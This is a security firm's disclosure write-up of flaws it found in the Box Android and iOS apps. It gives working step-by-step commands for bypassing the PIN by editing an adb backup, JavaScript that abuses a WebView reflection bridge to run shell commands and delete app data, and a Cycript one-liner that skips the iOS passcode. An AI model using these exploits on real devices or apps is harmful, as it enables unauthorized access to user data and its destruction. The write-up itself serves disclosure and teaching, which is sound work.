Box Android and iOS application Security vulnerabilities : Writeup

We at Attify focus on mobile application security auditing and trainings. On weekends, we often spend time writing code for AppWatch – our flagship product, finding vulnerabilities and hacking hardwares. A few months back, we had a look at the Box Android and iOS apps and discovered a lot of security vulnerabilities in it.

**Note :***All the vulnerabilities have been disclosed to the Box security team, which were quite active in patching all the security issues. *

Let’s start with the Android application.

Vulnerability 1 : Traffic Interception (no SSL Pinning) and MITM

We decided to start the analysis with the network traffic interception and to verify whether Box uses proper implementation of SSL Pinning. Even though the box application uses SSL, it is possible to intercept the traffic using any proxy.

This is done by adding the proxy certificate into the trusted store of the Android device. Once this is done, the attacker can intercept username and password sent from the Box App.

The screenshot below displays the intercepted username and password.

traffic-interception-of-box-2
Username and password values

Traffic being intercepted
Traffic being intercepted

Vulnerability 2 : Pin Screen bypass by exploiting Backup based vulnerability

Box App provides an additional security layer to its users by implementing pin lock on the client side for protecting its data. Pin lock is a 4-digit number in this case.

We can bypass this authentication method with the help of Android backup vulnerability.

It was quite straight forward to exploit this vulnerability and bypass the pin screen. This is also quite similar to the vulnerability discovered in Lastpass by Chris John Riley.

Setting up Pin Lock :

Go to Menu | Settings | Require Passcode  | Set the pin

Configuring Box Pin

Configuring Box Pin

Setting up Pin in Box

Setting up Pin in Box

 

Take the back up of Box app.

adb backup com.box.android -f box.ab

Backing up Box App data

Backing up Box App data

Cover and copy .ab file : 24 bytes at a time and removing the first 24 bytes as they are a part of the .ab (Android backup file format) header. In case you’re interested, you could do a hexdump and see the 1st 24 bytes confirming that it’s a  part of the android backup header.

dd if=box.ab bs=24 skip=1 | openssl zlib -d > box.tar

Prepare a list file of the tar archive which will be useful while repackaging the android backup file.

tar -tf box.tar > box.list

Extract the box.tar archive in order to modify the contents.

tar -xvf box.tar

The above command will extract the contents of box.tar. Traverse to apps folder.

Pin lock is stored in myPreference.xml which is located at – /apps/com.box.android/sp/myPreference.xml

Contents of myPreference.xml


<?xml version='1.0' encoding='utf-8' standalone='yes' ?> 
<map> 
<long name="uploadLimit" value="262144000" /> 
<string name="authToken">j7vmvcelakksz053bkk9eqx51a94zvjv</string> 
<string name="pinCode">a08f46f316a132adaf2eac3669af19d8</string> 
<long name="accountLimit" value="10737418240" /> 
<string name="userAccount">5h1vang@attify.com</string> 
<long name="last_update_read_timestamp" value="1394871125" /> 
<long name="accountUsed" value="17028961" /> 
</map>

Remove the “pinCode” tag

Turns out that if we remove the pincode line completely, the application thinks that there is no pincode protection in the application, and will directly take you to the logged in section.

Repack the contents

star -c -v -f box_new.tar -no-dirslash list=box.list
dd if=box.ab bs=24 count=1 of=box_new.ab

Once we have copied the first 24 bytes (the header) we could now append the rest of the data to the android backup file.

openssl zlib -in box_new.tar >> box_new.ab

Final Step

Now once everything is done, we just need to restore the backup.

adb restore box_new.ab

Vulnerability 3 :  Android Webview Vulnerability

Webview is a simple and essential component in Android and iOS platforms, enabling smartphones and tablets to embed a simple but powerfull browser inside them.

We’ll write a separate post soon on the webview based issues in Android applications, but for this blog post we won’t go into much depth of what exactly is webview and how apps become vulnerable.

Android allows apps to create a bridge in order to allow javascript code within the webpages, and them interacting with the java codes of the application.

Webview has been used extensively in three main activities of Box App, namely

  • SsoLoginActivity
  • OneCloudAddNewAppsActivity
  • CentrifyLoginActivity

If you look inside the OneCloudAddNewAppsActivity is addJavasctiptInterface.

Following code snippet shows the usage of addJavascriptInterface in loadOneCloudView method of OneCloudAddNewAppsActivity :


private void loadOneCloudView() {    
BoxSpinner.show();    

String str = "&auth_token=" + AuthToken.getAuthToken() + "&api_key=" + BoxApi.getApiKey();  
this.webview.postUrl(this.mOneCloudGalleryUrl, EncodingUtils.getBytes(str, "BASE64"));    

if (!this.javascriptInterfaceBroken)      this.webview.addJavascriptInterface(this.marketInterface, "Android"); }

The Javascript interface alias Android has been declared such that the javascript loaded in webview can access the public methods of the marketInterface.

marketInterface is basically an object of OneCloudMarketInterface class defined in Box App

According to webview vulnerability, the addJavascriptInterface method can be abused via reflection to execute commands remotely in the context of the running applicaiton.

We used the reflection functionality and embedded malicious javascript in the webview to delete the private contents of the Box App.

The private data of Box are stored at /data/data/com.box.android and sensitive files and folders have only ‘read-write’ permissions to owner and user. These files are not accessible to other apps.

One example of sensitive data are data stored in database folder as shown in screenshot:

webview vulnerability box 1
With the help of malicious javascript and java reflection functionality, we were able to manipulate these sensitive information.

We successfully tried deleting the contents as shown in below code.

The malicious javascript code with reflection is as depicted below :

<script> 

var path = '/data/data/com.box.android/databases/webview.db'; 

function execute(cmd){ 

document.write("WebView Vulnerability"); 

return window.Android.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd); } 

execute(['/system/bin/rm', '-R', path]); 

</script>

The javascript was embedded in the response to the webview request made by OneCloudAddNewApp Activity, as shown below :

webview vulnerability in box 2

Finally, once the response is rendered, the javascript causes Box to delete its own contents. It could obviously be used for much more malicious purposes like getting a reverse shell by creating a payload using tools such as Drozer.

Another reason for webview vulnerability to be possible was the improper implementation of onReceivedSslError method.


public void onReceivedSslError(WebView paramAnonymousWebView, SslErrorHandler paramAnonymousSslErrorHandler, SslError paramAnonymousSslError)    
{     
paramAnonymousSslErrorHandler.proceed();   
}

Whenever an Ssl error is received, instead of taking any preventive measures, the method simply proceeds the handler.

This plays a crucial role in execution of javascript despite of ssl errors.

Vulnerability 4 : Box iOS Application Login Bypass

The Box iOS application has a similar functionality as the Android one and offers users to use additional Pin screen in order to secure their Box application.

However, it could be easily bypassed by runtime manipulation using Cycript.

var a  = UIApp.keyWindow.rootViewController.viewControllers[0] [a passcodeDidSucceed]

Also, you could check the current passcode of the pin screen using the topViewController.

Here’s a quick demo.

That’s all for this blog post. Feel free to get in touch with us if you would like your application audited () or would like to have a training on Android and iOS Hands-on Exploitation.



comments powered by Disqus
Tags
Android android application security android hands on security and exploitation training android security Apktool application auditing application security auditing appsec usa appwatch attify attify badge attify training binwalk blackberry pentesting blackhat ble BLE hacking and exploitation BLE sniffing box brut Exception chroot cloud based mobile application security scanner consulting CTF Damn Vulnerable iOS App devops dumping memory embedded hacking exploitation exploiting smart devices Firmware hacking frida hackfest hacking smart devices how to secure iot device IDA internet of things Internet of Things Security ios application security ios security iot iot device IoT Exploitation iot hacking iot pentest iot pentesting iot security iot security training iotsecurity jtag jtag debugging mobile app mobile application security mobile application security testing mobile security ninja recon technique offensive iot exploitation ola cabs owasp owasp appsec penetration testing pentesting pentesting mobile apps powerofcommunity PrinterSecurity qemu quizup radio communication protocol radio coomunication Reversing sdr secure coding guidelines security security issue security services security training security vulnerability smart devices social networking spi threat modeling training uart vulnerability writeups xposed hooking zigbee zigbee exploitation zigbee security zwave firmware reverse engineering firmware emulation firmware analysis toolkit firmadyne getting started with firmware hacking iot penetration testing iot attacks recent iot attacks cyber attacks iot hacks biggest iot attacks of all time hacked smart devices iot bots, malwares latest iot attacks BtleJuice bleah

Instagram